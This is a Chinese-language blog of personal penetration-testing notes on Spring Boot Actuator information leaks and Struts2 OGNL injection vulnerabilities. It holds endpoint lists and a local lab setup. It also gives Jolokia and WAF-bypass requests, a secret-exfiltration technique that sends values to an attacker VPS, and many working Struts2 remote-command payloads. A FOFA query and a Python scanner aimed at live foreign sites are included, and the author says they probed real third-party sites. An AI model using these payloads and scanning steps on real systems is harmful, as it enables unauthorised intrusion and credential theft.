# 常规外网打点(持续更新中......)

# spring-boot

# actuator泄露

参考:可造成敏感信息泄露!Spring Boot Actuator信息泄露漏洞三种利用方式总结 - FreeBuf网络安全行业门户

Springboot之Actuator信息泄露漏洞利用_spring actuator 漏洞-CSDN博客

actuator是帮助管理和监控Spring-Boot应用的模块,这个模块采集应用的内部信息,展现给外部模块,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信息以及web请求的详细信息等。

如果没有正确使用Actuator,可能造成信息泄露等严重的安全隐患(外部人员非授权访问Actuator),其中heapdump作为Actuator组件最为危险的web端点,heapdump因未授权访问被恶意人员获取后进行分析,可进一步获取敏感信息

# 1.x版本

/configprops #显示所有@ConfigurationProperties

/env #公开Spring的ConfigurableEnvironment

/health #显示应用程序运行状况信息

/httptrace #显示HTTP跟踪信息

/metrics #显示当前应用程序的监控指标信息

/mappings #显示所有@RequestMapping路径的整理列表

/threaddump #线程转储

/heapdump #堆转储

/jolokia #JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法

# 2.x版本

/actuator #查看有哪些Actuator端点是开放的

/actuator/auditevent #auditevents端点提供有关应用程序审计事件的信息

/actuator/beans #beans端点提供有关应用程序bean的信息

/actuator/configprops #configprops端点提供有关应用程序@ConfigurationProperties的信息

/actuator/env #查看全部环境属性,可以看到Spring-boot载入哪些properties,以及properties的值(会自动用*替换key、password、secret等关键字的properties的值)

/actuator/flyway #flyway端点提供有关Flyway执行的数据库迁移的信息

/actuator/health #显示应用程序运行状况信息

/actuator/httptrace #提供有关http请求-响应交换的信息(包括用户HTTP请求的Cookie数据,会造成Cookie泄露等)

/actuator/info #info端点提供有关应用程序的一般信息

/actuator/integrationgraph #integrationgraph端点公开了一个包含所有Spring Integrationgraph组件的图

/actuator/liquibase #liquibase端点提供有关Liquibase应用的数据库更改集的信息

/actuator/logfile #logfile端点提供对应用程序日志文件内容的访问

/actuator/loggers #loggers端点提供对应用程序记录器及其级别配置的访问

/actuator/mappings #mappings端点提供有关应用程序请求映射的信息

/actuator/metrics #metrics端点提供对应用程序指标的访问

/actuator/heapdump #heapdump端点提供来自应用程序JVM的堆转储(通过分析查看/env端点被*替换到数据的具体值)

/actuator/threaddump #线程转储

/actuator/jolokia #JMX-HTTP桥,它提供了一种访问JMXbeans的替代方法

/actuator/prometheus #端点以prometheusPrometheus服务器抓取所需的格式提供Spring-boot应用程序的指标

/actuator/quartz #quartz端点提供有关由Quartz调整程序管理的作业和触发器的信息

/actuator/scheduledtasks #scheduledtasks端点提供有关应用程序计划执行任务的信息

/actuator/sessions #sessions端点提供有关由Spring session管理的应用程序HTTP会话的信息

/actuator/startup #startup端点提供有关应用程序启动顺序的信息

/actuator/shutdown #shutdown端点用于关闭应用程序

接下来就是要利用heapdump去解决密码是*的问题,尝试了一下在本地搭建带有spring-boot的actuator信息泄露的靶场:

这里用的是kaliLinux

# 更新软件源并安装 OpenJDK 11 和 Maven
sudo apt update
sudo apt install default-jdk maven -y

# 验证安装是否成功(确保有版本信息输出)
java -version
mvn -version

#创建并就进入项目文件夹
mkdir ~/actuator-lab && cd ~/actuator-lab

#写入Maven配置文件(pom.xml)
cat << 'EOF' > pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.lab</groupId>
    <artifactId>actuator-lab</artifactId>
    <version>1.0</version>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.5</version>
    </parent>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>
EOF

#创建目录并写入配置文件(包含敏感信息)
mkdir -p src/main/resources
cat << 'EOF' > src/main/resources/application.properties
# 危险配置:暴露所有 actuator 接口
management.endpoints.web.exposure.include=*
# 模拟敏感配置信息
cloud.aws.credentials.access-key=AKIAIOSFODNN7EXAMPLE
cloud.aws.credentials.secret-key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
EOF

#创建目录并写入Java漏洞代码
mkdir -p src/main/java/com/lab
cat << 'EOF' > src/main/java/com/lab/ActuatorDemoApplication.java
package com.lab;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@SpringBootApplication
@RestController
public class ActuatorDemoApplication {

    // 模拟内存中驻留的敏感变量
    private String userSessionToken = "";

    public static void main(String[] args) {
        SpringApplication.run(ActuatorDemoApplication.class, args);
    }

    @GetMapping("/login")
    public String login(String password) {
        // 将用户的密码拼接后长期保留在内存中
        this.userSessionToken = "Token_Auth_" + password;
        return "Login Success! Password saved in memory.";
    }
}
EOF

#在~/actuator-lab目录下运行命令启动spring boot
mvn spring-boot:run
当终端出现类似 Started ActuatorDemoApplication in x.xx seconds 的字样时,说明靶场启动成功

搭建好之后可以通过IP下的8080端口访问

我们需要知道这个值,可以有几种利用方法

# heapdump

首先模拟一个登录状态,之后我们尝试信息泄露的手法去访问/actuator/env/actuator/heapdump

访问/actuator/heapdump的话可以看到直接下载下来了一个文件,分析这个文件可以使用jvisualvm.exe这个JDK自带的工具,路径为JDK\bin\jvisualvm.exe

文件类型选择堆之后选择刚刚下载的heapdump,装入文件之后就是输入OQL语句过滤我们需要的信息

OQL是一种类似SQL的查询语言,用于查询Java堆,OQL允许从Java堆中过滤/选择所需的信息。虽然HAT已经支持诸如“显示X类的所有实例”之类的预定义查询,但OQL增加了更多的灵活性。OQL基于JavaScript表达式语言。

在Spring boot2.X版本中,env信息存储在java.util.LinkedHashMap$Entry类中

查询数据库密码需要在OQL控制台执行如下OQL语句:

select s from java.util.LinkedHashMap$Entry s where /spring.datadsource.password/.test(s.key)

不过我这里一直显示查询返回结果为空呢?

另一种方法就是先进入类标签页,在底部过滤器中搜索ActuatorDemoApplication

双击显示的有实例的类

找到这个userSessionToken,打开之后我们可以看到存在一个value:

84111107101110956511711610495907665828989

用逗号隔开的数字每一组对应一个字符的ASCII码:Token_Auth_ZLARYY

也可以试试使用https://github.com/wyzxxz/heapdump_tool

查询密码可以> password,获取ip> getip,获取url> geturl,获取文件路径> getfile

# jolokia

要利用这个方法的话需要目标网站存在/jolokia/actuator/jolokia,使用了jolokia-core依赖,默认情况下actuator是没有jolokia接口的,所以需要再添加如下依赖:

<dependency>
    <groupId>org.jolokia</groupId> 
    <artifactId>jolokia-core</artifactId> 
<version>1.7.0</version> 
</dependency>

除此之外我们还需要在/src/main/resources/application.properties加上:

spring.application.admin.enabled=true

首先依旧是访问/actuator/env接口,,获取想要获得明文的属性名,然后通过jolokia调用相关MBean获取明文。

接下来我们访问/actuator/jolokia/list

查看的内容是目标环境中存在的MBean

接下来我们尝试通过调用我们找到的MBean来获取我们感兴趣字段的明文:

POST/actuator/jolokia 
Content-Type:application/json 
{"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
#这里用的是security.user.password,在我这里查询应该是cloud.aws.credentials.secret-key

jolokia是一个JMX-HTTP桥接器,在Java中,JMX(Java Management Extensions)是用来在程序运行期间管理和监控Java程序的底层机制。Jolokia允许你通过发送简单的HTTP(JSON)请求,去调用Java底层的JMX方法,这段payload其实是执行了:

// 获取名为 SpringApplication 的管理 Bean (MBean)
Object mbean = getMBean("org.springframework.boot:name=SpringApplication,type=Admin");

// 执行 (EXEC) 它的 getProperty 方法,传入参数 "security.user.password"
mbean.getProperty("security.user.password");

如果是直接change request method的话要记得把Content-Type改为application/json,否则默认会是application/x-www-form-urlencoded

# 绕过waf的一些相关方法

文章参考:SpringBootActuator配置错误利用实战:路径探测、绕过技巧与敏感端点攻击 | ZONE.CI 全球网

  • 路径变体寻找actuator:

    #系统管理员可能将端点直接暴露在站点根目录下
    GET /env HTTP/2
    #Actuator 也可能存在于子目录中
    GET /att-admin/env HTTP/2
    GET /att-admin/actuator/env HTTP/2
    GET /att-admin/info/env HTTP/2
  • 通过特殊HTTP头访问actuator

    X-Forwarded-For: 127.0.0.1
    X-Original-URL: /avtuator/env
  • 访问mappings端点

    GET /actuator/mappings HTTP/2

    访问这个端点很可能暴露出一些路由,去尝试访问就行

    如果mappings不可用的话,可以检查metrics端点:

    GET /actuator/metrics HTTP/2

    它会返回可在后续请求中查询的指标名称列表:

    {"names":["application.ready.time","application.started.time","disk.free","disk.total","executor.active","executor.completed","executor.pool.core","executor.pool.max","executor.pool.size","executor.queue.remaining","executor.queued","http.client.requests","http.client.requests.active","http.server.requests","http.server.requests.active","jvm.buffer.count","jvm.buffer.memory.used","jvm.buffer.total.capacity","jvm.classes.loaded","jvm.classes.unloaded","jvm.compilation.time","jvm.gc.live.data.size","jvm.gc.max.data.size","jvm.gc.memory.allocated","jvm.gc.memory.promoted","jvm.gc.overhead","jvm.gc.pause","jvm.info","jvm.memory.committed","jvm.memory.max","jvm.memory.usage.after.gc","jvm.memory.used","jvm.threads.daemon","jvm.threads.live","jvm.threads.peak","jvm.threads.started","jvm.threads.states","logback.events","process.cpu.time","process.cpu.usage","process.files.max","process.files.open","process.start.time","process.uptime","spring.cloud.gateway.requests","spring.cloud.gateway.routes.count","system.cpu.count","system.cpu.usage","system.load.average.1m"]}

    其中大部分是普通的元数据,值得关注的有:

    #利用这个字段产生的值尝试 vhost Fuzz 可能会有收获。这些主机名在 SSRF 场景中也非常有价值
    spring.cloud.gateway.requests
    #本质上是 mappings的低精度替代——信息量较少但仍然有用。从这里开始测试发现的路由即可
    http.server.requests
    #其含义与其他 metrics 类似。这些指标提供了有用的信息,能间接引导你继续深入
    http.client.requests

    使用方法如下:

    GET /actuator/metrics/{metric-name} HTTP/2

    查询后 (精简输出) 可以揭示服务器或客户端最近发送或接收的请求

  • 路径遍历与绕过

    一般来说,简单和双重 URL 编码有时能帮助访问”被屏蔽”的 Actuator 端点

    上述引用文章也引用了https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf这个叫做Orange Tsai大佬的描述,通常表示为:

    GET /..;/actuator/env HTTP/2
    GET /static../actuator/env HTTP/2
    GET /actuator/health/..;/env HTTP/2
  • 替代方案:使用";"绕过

    成功的原因通常是不良的重写规则、黑名单或配置错误的规则

    GET /;/actuator/env HTTP/2
    GET /actuator;/env HTTP/2
    GET /actuator/env; HTTP/2
    GET /actuator/env;.. HTTP/2

  • 通过httptrace端点实现会话接管

    GET /actuator/httptrace HTTP/2
  • 其他有用的端点:logfile与gateway

    Actuator经常暴露 gateway/routes端点。如果你有写权限,SSRF 是现实可行的;在旧版Spring Boot中甚至可能导致RCE。logfile端点需要由管理员启用,它返回特定事件的日志。

  • CVE-2022-22978:允许绕过认证

    GET /actuator/%0Aenv HTTP/1.1

# 实例

在fofa上搜索:body="Whitelabel Error Page" && country!="CN"然后通过python发包探测哪些存在actuator泄露,具体脚本可参考:

import requests

route='/actuator/env'
urls=[
    "这里面写你搜索到的第一个url",
    "第二个",
    "第三个"
]

for url in urls:
    turl = url + route

    try:
        response=requests.get(turl,timeout=10)
        print(f"请求:{turl}")

        if response.status_code == 200:
            print("成功")
            print(response.text[:300])
        else:
            print("请求失败")

    except requests.exceptions.RequestException as e:
        pass

    print("-"*50)

这样你就可以看到类似的页面:

我尝试的是具有/avtuator/jolokia/list的网站,所以我尝试了第一种获取明文方法:

接下来我再复现另外几种:

# VPS

利用条件:

可以GET请求目标网站的/env,可以POST请求目标网站的/env,可以POST请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator依赖),目标使用了spring-cloud-starter-netflix-eureka-client依赖,目标可以请求攻击者的服务器(请求可出外网),Spring Boot版本大于2.2.4,则必须使用下面的属性手动启用POST API调用,management.endpoint.env.post.enabled=true,否则不能通过POST访问env端点。

利用方法

  1. 首先访问url+/actuator/env来获取我们想要明文字段的key,我这里是sun.java.command
  2. 在自己控制的外网服务器上监听80端口nc -lvp80
  3. 将下面

http://value:${security.user.password}@your-vps-ip
security.user.password换成自己想要获取的对应的星号*遮掩的属性名;
your-vps-ip换成自己外网服务器的真实ip地址

POST/actuator/env 
Content-Type:application/json 
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

然后刷新配置:

POST/actuator/refresh 
Content-Type:application/json

按理来说这里我的监听应该能收到:

GET/apps/HTTP/1.1 
Accept:application/json,application/*+json 
Authorization:BasicdmFsdWU6cm9vdA== 

类似于这种的请求,然后将Authorization里面的字段base64解码之后就可以查看value,但是我这里没有看到请求,倒是在对方服务器actuator里面看到了......

可以看到是6007,好像是利用其出网必须是1.x版本,可惜了。。。。。

这里ZLARYY在练习使用python呢:

import requests

base_url="http://受攻击的服务器"
route1="/actuator/env"
data={"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${server.port}@你的公网ip:8888/eureka/"}
headers={"Content-Type": "application/json"}
r1=requests.post(base_url+route1,json=data,headers=headers,timeout=10)
print(r1.status_code)
print(r1.text[:300])
route2="/actuator/refresh"
r2=requests.post(base_url+route2,headers=headers,timeout=10)
print(r2.status_code)
print(r2.text[:300])

另一种方法与这一种类似,只是包不一样:

POST/actuator/env
Content-Type:application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

然后还是进行刷新配置,再查看VPS

POST/actuator/refresh 
Content-Type:application/json
Ncat:Connectionfrom****** 
GET/SecretKe/apps/HTTP/1.1 
Accept:application/json,application/*+json 
Host:****** 
Connection:Keep-Alive
User-Agent:Apache-HttpClient/4.5.13(Java/1.8.0_191)
Accept-Encoding:gzip,deflate

apps前面的路径就是需要的数据

# struts

学习struts相关漏洞之前先学习一下什么是OGNL吧

# OGNL

参考:Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园

Struts2_S2-045漏洞复现:原理详解+环境搭建+渗透实践(CVE-2017-5638)-CSDN博客

Struts2框架漏洞总结与复现 - FreeBuf网络安全行业门户

Ognl表达式基本原理和使用方法 - 洋葱源码 - 博客园

一文全解:OGNL表达式以及Mybatis中的OGNL表达式-CSDN博客

Object Graphic Navigation Language,是一种表达式语言,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性,OGNL可以让我们用非常简单的表达式访问对象层,例如,当前环境的根对象为user1,则表达式person.address[0].province可以访问到user1的person属性的第一个address的province属性。

基本语法:

object.property.property...

其中object是要访问的对象,.适用于分隔对象和属性的符号,property是对象的属性名。OGNL表达式可以连续使用.来访问对象的嵌套属性

例如:假设有一个ZLARYY对象,其中包含一个Friends对象,可以使用OGNL表达式ZLARYY.Friends.Su@sU来访问Friends对象中的Su@sU属性

OGNL表达式除了基本的属性访问之外,还提供了许多高级特性,如:

  • 方法调用:可以使用()符号来调用对象的方法,如Person.getAge()
  • 数组和集合访问:可以使用[]符号来访问数组和集合中的元素,如:persons[0].namePerson.{name}
  • 条件表达式:可以使用?:符号来实现条件表达式,如Person.age > 18 ? '成年' : '未成年'
  • 循环和迭代:可以使用{}符号来实现循环和迭代,如{0..10}{Persons.name}

开发者喜欢配合spring、hibernat用,称为SSH

接下来跟着Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园复现漏洞!!!

# S2-001(CVE-2007-4556)

它是Apache Struts2历史上第一个被公开的OGNL注入漏洞,这个漏洞产生的根本原因在于Struts2早期版本(2.0.0-2.0.8)处理表单验证失败时的逻辑缺陷,在一个典型的web登录或注册场景中,如果用户填写的表单数据没有通过验证(比如密码太短、用户名包含非法字符),后端通常会将用户打回原表单页面,并且把刚才用户输入的内容回显在输入框里面

为了实现这个动态回显功能,struts2默认开启了一个名为altSynax的特性,当表单验证失败需要重绘页面时,框架会将输入框的值作为OGNL表达式进行递归解析

这时候如果用户利用OGNL的语法特征,使用%{}将输入包裹起来,Struts2就会认为这是一段代码并执行它,比如:

假设你再用户名输入框里面填入:%{2+2}
当表单验证失败并重新加载后,就会发现输入框里面的内容变成了:4
这就证明服务器将用户的输入当成OGNL代码执行了

因为OGNL具备强大的Java底层调用能力,攻击者可以直接将数学运算替换为系统命令

具体的复现可以参考Struts2系列漏洞复现汇总-持续更新中 - 小阿辉谈安全 - 博客园这个大佬的文章,等ZLARYY学了代码审计之后再补复现的内容吧orz,这里就贴一下大佬的payload先:

# 获取tomcat执行路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
# 最后可能看到类似于 value="tomcatBinDir{usr/local/tomcat}" 就可以知道当前 tomcat 的执行路径为 /usr/local/tomcat

# 获取Web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
# 可能会回显 /usr/local/tomcat/webapps/ROOT/ 之类的当前系统 Web 路径

# 执行任意命令
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
# 在这里面我们执行的命令是 whoami

# S2-003

S2-003是一个沙箱逃逸漏洞,其出现的原因是S2-001出现之后官方对其做了两层防御:

1.正则黑名单拦截:在ParametersInterceptor(处理HTTP参数的拦截器)中加入正则表达式,禁止参数名中包含#符号,因为OGNL访问上下文变量(如#session)必须用到#

2.引入安全沙箱(SecurityMemberAccess):在OGNL引擎底层增加了一个权限控制器,默认将allowStaticMethodAccess设置为false,从而禁用@符号去调用java.lang.Runtime等危险类的静态方法。

但是官方的正则表达式只拦截了明文的#字符,如果在HTTP参数名中使用OGNL引擎支持的Unicode编码\u0023或者八进制\43就能实现绕过#限制,然后就可以通过OGNL表达式修改沙箱的配置

# payload
//URL后拼接
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

或者:

# 开启静态方法调用权限(关闭沙箱):利用\u0023绕过拦截拿到#_memverAccess对象,强行把allowStaticMethodAccess属性改为true
('\u0023_memberAccess[\'allowStaticMethodAccess\']')(empty)=true
# 放开方法执行限制
('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']')(empty)=false
# 执行系统命令:沙箱被瓦解,然后使用@符号调用Runtime.getRuntime().exec()
('\u0023_memberAccess.excludeProperties={}')(empty)=true&
('\u0023rt=@java.lang.Runtime@getRuntime()')(empty)=true&
('\u0023rt.exec("whoami")')(empty)=true

# S2-005(CVE-2010-1870)

该漏洞的产生首先是对S2-003漏洞的修补,官方在修补S2-003的时候仅仅是在用来拦截特殊字符的正则表达式的黑名单里,硬编码加上了\u0023\43这两个字符串,不过,只要对\u0023再做一些变化就能再次绕过黑名单,本质上与S2-003触发的是同一个底层问题。

在受影响的struts版本(2.0.0-2.1.8.1)中,XWork的ParametersIbtercepter(负责将HTTP参数映射到Java对象)在处理参数名时,默认允许使用OGNL表达式,XWork会将GET参数的键和值利用OGNL表达式解析为Java语句:

user.address.city=Bishkek&user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

payload:

/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

# S2-007

与前几个漏洞场景不同,该漏洞核心为:类型转换错误

假设有一个注册表单里面有一个字段叫做“年龄”,在后端的Java中这个字段被定义为了Integer整数类型,正常情况下用户输入18,Struts2会自动将字符串"18"转换为整数18并赋值给属性,但如果用户输入abc就会造成类型转换粗偶无,框架无法把abc转成整数,于是会中断正常的流程并在输入框旁边提示“无效的年龄输入”,并且会将用户刚才输入的错误内容原样回显在输入框里面,但在这个回显的底层逻辑中,当ConversationErrorIntercepter(专门处理转换错误的拦截器)介入时,它会将用户的错误输入存入一个Map中,当页面的UI标签(比如<s:textfield>)尝试把错误值渲染回网页时,它会对这个值进行OGNL评估,为了防止直接执行,Struts2开发者在拼接OGNL表达式时给用户的输入加上了单引号,试图当作一个纯字符串来处理

当用户提交age为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似SQL注入单引号拼接的方式即可注入任意OGNL表达式。

影响范围:2.0.0-2.2.3

# payload
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

# S2-008(CVE-2012-0391)

在Struts2的开发阶段,框架提供了一个名为devMode(开发模式)的功能,如果在struts.xml中配置了<constant name="struts.devMode" value="true" />,struts2就会开启大量的调试功能

其中包含一个名为DebuggingIntercepter(调试拦截器)的组件,允许开发者通过URL参数,直接向服务器发送一段OGNL代码并执行,如果运维在将代码发布到生产环境中时,忘记把devMode改回false,这样做只需要在任何Action的URL后面加上debug=command&expression=,后面跟上OGNL表达式

# payload
/devmode.action?debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boolean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls+-al+./').getInputStream()))

# S2-009(CVE-2011-3923)

S2-009是对S2-005的白名单防御,官方限定HTTP的参数名称只能包含字母、数字及少数几个特定的符号中:[a-zA-Z0-9\.\]\[\(\)_']+

在OGNL的高级语法中,括号的特殊含义是:AST(抽象语法树)节点评估,如果写出类似于(A)(B)的OGNL表达式,引擎会先计算A的值,如果A提取出来的是一个字符串,引擎就会把这个字符串当作一段新的OGNL代码,作为B的上下文参数再去解析和执行。

虽然参数名受到白名单严格过滤,但是参数值不受正则限制,所以就可以把恶意代码放在值里

影响范围:2.1.0-2.3.1.1

比如:

/HelloWorld.acton?example=&(example)('xxx')=1
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

# S2-012

S2-012并不是Struts默认配置下就会触发的漏洞,如果在配置Action中Result时使用了重定向类型,并且还使用${param_name}作为重定向变量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里UserAction中定义有一个name变量,当触发redirect类型返回时,Struts2 获取使用${name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任意OGNL表达式导致命令执行。

假设有一段OGNL探针: %{#a=2+2} ,将其赋值为name之后系统原封不动地将其赋值给了Action的name属性,执行Action之后登录逻辑执行完毕返回"success",然后服务器读取重定向配置,此时准备用来重定向的URL从?name=${name}变成了 ?name=%{#a=2+2} ,最后由于struts2中的ServletActionRedirectResult类的设计缺陷,它在将URL真正发送给浏览器之前,为了确保URL里的动态参数都被正确解析,它会对拼装好的URL再次调用OGNL引擎进行一次评估,所以最后引擎看到了${...}语法就会执行变成?name=4

影响范围:2.1.0-2.3.13

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

# S2-013/S2-014

这两个漏洞的原理一致但是触发漏洞的组件不同,在S2-012中,漏洞出现在<result type="redirect">的URL拼装环节上,在S2-013中,漏洞处在Struts2的UI标签组件上,特别是URL标签

struts2提供了一些方便在JSP页面中生成链接的标签,比如:<s:url><s:a>,这些标签有一个非常方便的属性叫做includeParams

当在JSP中有以下这段代码时:

<s:url action="HelloWorld" includeParams="all" />

includeParams的属性决定了在生成新的URL时要不要把当前请求中已有的参数也带过去,它有三个值:

none:不包含任何参数(默认值)

get:只包含当前请求中的GET参数

all:包含当前请求中的所有GET参数和POST参数

这时候如果页面上有一个标签:<s:a href="%{url}" includeParams="all">Click Here</s:a>,攻击者向这个页面发送一个包含恶意OGNL表达式的参数,比如: ?fakeParam=%{#a=2+2} ,由于includeParams="all",struts2会去寻找当前请求的所有参数准备拼接到新生成的链接里,struts2的UrlHelper类在处理这些抓取来的参数时,为了防止这些参数值中可能存在动态变量,就会对这个参数值进行OGNL评估,于是%{a=2+2}在渲染JSP的时候就被触发了

# payload
?x=%{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec("touch /tmp/s2013"))}

面对S2-013,官方的修复思路是在UrlHelper中处理参数时,限制了对%$以及某些特定字符的解析,不过依然可以像S2-003/005一样使用用过的AST语法评估技巧(比如用括号包裹)或者稍微变换一下OGNL的语法结构就能绕过

# S2-015

这个漏洞的诞生为:通配符映射

<action name="*" class="com.demo.UserAction">
    <result name="success">/{1}.jsp</result>
</action>

在这段代码中,如果用户访问login.action*就变成了login,系统最终会跳转到login.jsp,如果访问register.action,最终就会跳转到register.jsp

这样操作的结果会导致盲目地信任来自URL的输入,并在内部跳转时对这个输入进行二次解析:

如果访问/${2+2}.action,那么{1}就被替换为了${2+2},struts2中的TextParseUtil类在寻找这个JSP文件的物理路径时没发现字符串里面包含${...}就会认为这是一个动态表达式,最终唤醒OGNL引擎对Action名字进行计算,最终就变成了4.jsp

由于攻击payload是作为URL路径的一部分发送的,它必须先经过web容器的解析才能到达struts2框架,现代web容器对URL的字符限制极其严格,URL中通常不允许出现空格,反斜杠,双引号等特殊字符,如果直接把包含这些字符的OGNL表达式写在Action里面,Tomcat就会直接抛出400 Bad RequestInvalid URL

所以在写payload时通常会舍弃双引号和空格,大量使用OGNL的内置编码转换函数(比如将命令转成ASCII码数组再还原),或者利用参数池进行变量传递

还有需要说明的就是在Struts 2.3.14.1 - Struts 2.3.14.2的更新内容中,删除了SecurityMemberAccess类中的setAllowStaticMethodAccess方法,因此在2.3.14.2版本以后都不能直接通过#_memberAccess['allowStaticMethodAccess']=true来修改其值达到重获静态方法调用的能力。

影响范围:2.0.0 - 2.3.14.2

# payload
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

# S2-016

在Struts2的核心架构中,每有一个HTTP请求时,都需要DefaultActionMapper解析请求决定调用哪个Action,默认情况下:DefaultActionMapper允许通过特殊的参数名来强行改变服务器的执行流程,其中有三个前缀是:

action:强行执行另一个Action

redirect:强行重定向到一个外部URL

redirectAction:强行重定向到另一个Action

如果网页里一个button的提交表单里面带了一个参数refirect:http://www.google.com,服务器收到之后就会中断当前流程直接让浏览器跳转到Google

不过为了支持动态生成跳转链接,redirectredirectAction会对前缀冒号后面的内容进行OGNL表达式解析,所以只需要.action?redirect=${...}就可以了

影响范围:2.0.0 - 2.3.15

# payload
